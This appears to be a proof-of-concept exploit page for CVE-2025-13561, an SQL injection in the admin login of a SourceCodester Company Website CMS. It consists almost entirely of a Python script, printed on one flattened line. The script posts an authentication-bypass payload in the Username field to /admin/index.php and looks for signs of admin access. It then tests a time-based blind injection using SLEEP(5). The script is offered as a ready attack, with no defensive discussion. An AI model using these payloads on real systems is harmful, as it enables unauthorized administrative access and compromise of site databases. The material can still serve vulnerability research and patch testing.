CVE-2025-13561 | SourceCodester Company Website CMS SQL注入漏洞

import requests import sys # CVE-2025-13561 SQL Injection PoC # Target: SourceCodester Company Website CMS 1.0 # Endpoint: /admin/index.php # Vulnerability: Username parameter SQL Injection target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/admin/index.php" # Basic authentication bypass using SQL injection payload_username = "admin' OR '1'='1' -- " payload_password = "any_password" data = { 'Username': payload_username, 'Password': payload_password } print(f"[*] Sending malicious request to {target_url}") print(f"[*] Payload: {payload_username}") try: response = requests.post(target_url, data=data, timeout=10, allow_redirects=False) # Check for successful login indicators if response.status_code in [200, 302]: if 'admin' in response.text.lower() or 'dashboard' in response.text.lower(): print("[+] Potential authentication bypass detected!") print("[+] Admin access may have been achieved") else: print("[-] No obvious authentication bypass detected") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Time-based blind SQL injection test def test_blind_sql_injection(url): # Test if SLEEP function is executed (indicating SQL injection) blind_payload = "admin' AND SLEEP(5) -- " data = {'Username': blind_payload, 'Password': 'test'} print("[*] Testing time-based blind SQL injection...") try: response = requests.post(url, data=data, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Blind SQL injection confirmed!") return True except requests.exceptions.Timeout: print("[+] Blind SQL injection confirmed (timeout occurred)!") return True return False test_blind_sql_injection(target_url)